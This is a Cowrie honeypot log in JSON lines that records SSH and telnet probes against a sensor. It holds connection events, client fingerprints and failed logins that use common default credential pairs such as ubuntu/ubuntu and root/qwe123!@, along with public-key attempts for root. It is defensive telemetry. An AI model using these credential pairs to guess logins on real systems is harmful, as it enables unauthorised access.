{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:42.343661Z","src_ip":"2.57.122.238","session":"4e8eb2a61721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:43.448068Z","src_ip":"2.57.122.238","session":"4e8eb2a61721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":60010,"dst_ip":"159.203.135.109","dst_port":22,"session":"67123cde81bb","protocol":"ssh","message":"New connection: 154.221.23.112:60010 (159.203.135.109:22) [session: 67123cde81bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:50.487901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:50.492477Z","src_ip":"154.221.23.112","session":"67123cde81bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:50.704388Z","src_ip":"154.221.23.112","session":"67123cde81bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:51.871810Z","src_ip":"154.221.23.112","session":"67123cde81bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:53.081045Z","src_ip":"154.221.23.112","session":"67123cde81bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":59744,"dst_ip":"159.203.135.109","dst_port":22,"session":"35f8cc0f3f68","protocol":"ssh","message":"New connection: 154.221.23.112:59744 (159.203.135.109:22) [session: 35f8cc0f3f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:04.901287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:04.907292Z","src_ip":"154.221.23.112","session":"35f8cc0f3f68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:05.773171Z","src_ip":"154.221.23.112","session":"35f8cc0f3f68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:06.401141Z","src_ip":"154.221.23.112","session":"35f8cc0f3f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:07.614210Z","src_ip":"154.221.23.112","session":"35f8cc0f3f68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":33244,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae4c83b06bbd","protocol":"telnet","message":"New connection: 129.232.238.42:33244 (159.203.135.109:23) [session: ae4c83b06bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:21.508764Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":42700,"dst_ip":"159.203.135.109","dst_port":22,"session":"6947eb86ed71","protocol":"ssh","message":"New connection: 154.221.23.112:42700 (159.203.135.109:22) [session: 6947eb86ed71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:38.614350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:38.639872Z","src_ip":"154.221.23.112","session":"6947eb86ed71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:38.861313Z","src_ip":"154.221.23.112","session":"6947eb86ed71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:40.185398Z","src_ip":"154.221.23.112","session":"6947eb86ed71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:41.394219Z","src_ip":"154.221.23.112","session":"6947eb86ed71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:55.174619Z","src_ip":"154.221.23.112","session":"4950af57d12e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:56.830978Z","src_ip":"154.221.23.112","session":"4950af57d12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"86.3","message":"Connection lost after 86.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:06:58.047842Z","src_ip":"154.221.23.112","session":"4950af57d12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.012502908706665,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:07:16.521112Z","src_ip":"129.232.238.42","session":"ae4c83b06bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50630,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5de43e47b6e","protocol":"ssh","message":"New connection: 2.57.122.238:50630 (10.17.0.5:22) [session: d5de43e47b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:05.834381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:05.839055Z","src_ip":"2.57.122.238","session":"d5de43e47b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:05.942749Z","src_ip":"2.57.122.238","session":"d5de43e47b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:06.248864Z","src_ip":"2.57.122.238","session":"d5de43e47b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:07.351307Z","src_ip":"2.57.122.238","session":"d5de43e47b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.190.77","src_port":51666,"dst_ip":"10.17.0.5","dst_port":22,"session":"e911b5bb3b1f","protocol":"ssh","message":"New connection: 31.42.190.77:51666 (10.17.0.5:22) [session: e911b5bb3b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.044633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.050149Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.168998Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:89:ab:b1:43:c0:55:5e:7a:3a:95:57:8f:a8:62:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC2uX43wCN+QRLdodqyCUWeQWd49AKef7aICRlycPdrRexv6Qbf4c9w1WkSraXoj3qWBrncdtNWoDgxUlIEEtDwByZzEymhhfzw6JydvXPHMacmA87J2dEjF+T1N6SYTkICA2HXggdVqrq9PEx66YBe8vs+EyfGDxpgzC1cP8iQkUHahRhz9lWo8Lowo8w6tBRUeLQdob2wUQhbGn0RgmZAXrL0A0kdBH+8rphst/w3UVf3jQJbgU8iiWT2AW8Ebu2OAW/sBuk5K+1vmPc/vy1CZv8mHG+tER+mFf/MdvCP0bhYaRjlistfjNNDI8rRD1JgTxhpqWdhn2JmxYaKDn4GytyDq/H38ZkDqn/1cPWh+GoRec/PSk7sZMHFupPxgHsQ5FbfQpsrOu2LN5dD5HTFJz1M+UcJPHxac4gkvmc3epNcbRGa2kYWzaPOBWT/5nFKVtXUvzTa5igo9hGYMwuwxQqayDrNS5qaSSdjRy++cz5J0zt/vQ0S2rNCuhQlQE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:89:ab:b1:43:c0:55:5e:7a:3a:95:57:8f:a8:62:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.734595Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:89:ab:b1:43:c0:55:5e:7a:3a:95:57:8f:a8:62:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC2uX43wCN+QRLdodqyCUWeQWd49AKef7aICRlycPdrRexv6Qbf4c9w1WkSraXoj3qWBrncdtNWoDgxUlIEEtDwByZzEymhhfzw6JydvXPHMacmA87J2dEjF+T1N6SYTkICA2HXggdVqrq9PEx66YBe8vs+EyfGDxpgzC1cP8iQkUHahRhz9lWo8Lowo8w6tBRUeLQdob2wUQhbGn0RgmZAXrL0A0kdBH+8rphst/w3UVf3jQJbgU8iiWT2AW8Ebu2OAW/sBuk5K+1vmPc/vy1CZv8mHG+tER+mFf/MdvCP0bhYaRjlistfjNNDI8rRD1JgTxhpqWdhn2JmxYaKDn4GytyDq/H38ZkDqn/1cPWh+GoRec/PSk7sZMHFupPxgHsQ5FbfQpsrOu2LN5dD5HTFJz1M+UcJPHxac4gkvmc3epNcbRGa2kYWzaPOBWT/5nFKVtXUvzTa5igo9hGYMwuwxQqayDrNS5qaSSdjRy++cz5J0zt/vQ0S2rNCuhQlQE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.738581Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:f0:65:60:48:d4:34:77:6d:75:a6:d7:6e:64:3d:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyOIx/EULuRhUYrH9MuT1J1AVXvcgzeQMan4zYnzfooj666uflRvicBSY9O3roaOT9RjDHo5sIhEhMFJ3HK1ouzou8tN/MIJAQErnD8C6bgGB6/pE/sjWTAyD42psVVJs25nPZKs64uU3CdxTplsTbAxsKxPVMYV2lx43TKU4aomD81CyQrGjhhAkm479MKQ1nH7v+Xed7d8nlHDzm0xUWf1/iTZmzfrnudvq/bGOPsIXHC0ks8KzDOV2rtkhqzO96WMVHsqbJ7PuuklnNRFicEw1nmlX2d5eDWINQpD1EgbzCAcyN01jMj8LvIlTW2oR98HnTKsHdyN08rJoLnOT3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:f0:65:60:48:d4:34:77:6d:75:a6:d7:6e:64:3d:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.858122Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:f0:65:60:48:d4:34:77:6d:75:a6:d7:6e:64:3d:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyOIx/EULuRhUYrH9MuT1J1AVXvcgzeQMan4zYnzfooj666uflRvicBSY9O3roaOT9RjDHo5sIhEhMFJ3HK1ouzou8tN/MIJAQErnD8C6bgGB6/pE/sjWTAyD42psVVJs25nPZKs64uU3CdxTplsTbAxsKxPVMYV2lx43TKU4aomD81CyQrGjhhAkm479MKQ1nH7v+Xed7d8nlHDzm0xUWf1/iTZmzfrnudvq/bGOPsIXHC0ks8KzDOV2rtkhqzO96WMVHsqbJ7PuuklnNRFicEw1nmlX2d5eDWINQpD1EgbzCAcyN01jMj8LvIlTW2oR98HnTKsHdyN08rJoLnOT3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.862054Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:d5:f1:5f:ed:82:d2:e7:d0:ba:38:76:33:43:67:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9R0m0i5Q2lV/n7vpYa5F3TH6nqWH+wtWiWc+zGZCd1KBiBTUJOghlNvRRntdJqzSunGKtHHP9qyeEPdaoigc41tdcgzjKh/nW0Qdh3/yjScc7rBH7MGt0U/EZNmCFIHlgBQGqOR+nU8KCNu70d9KEzPb7HijZp8ed9T1wTcz2WYrZMjAUpeW+/duQzN7NLLASGGb0DnAcs5ZolCpJhHZ/4nNcXfj31dOkRtGb5EQGFdYZ3SE/MgoG5fyD0cmTd34YHSghh1Yx/mOtUTeUIwroXq4tMd4laYwfeJQ5bkog7BoTM6b7qcIeSaMKeDM7QnwBDR8qiUHKJoVFwecFkczgEMm2EErQRg9x8wIYPn6+pokYifG+M7srXeaOjzPvJy+4uhrb7fPhrD73QsKVIQcvp8Sd+BY02kDNJ8gH71OYK6hDE7/BPG2BtmwceGtvJUKOKlAKpcKDevKREnVvFSBO97k/wun9qBi1KKdtS83l9uvswdJqvUlUpC9edeVhDrIlTEpgpvy9oPRMADXJjtDtSP8dXFS5w4RY97a/sot8EMo0edKFsuZeIS83/Cqeb+qRDtf/vdoiBO1GVryvHTke0O3JeedZx8orjfP3fUB+hoIKfrQMLlX9XK8gdtj6VYFQ39JZFiZGd3NrfC8QEojMvmSh2wDMusTQeDyRbeV3Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:d5:f1:5f:ed:82:d2:e7:d0:ba:38:76:33:43:67:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.986094Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
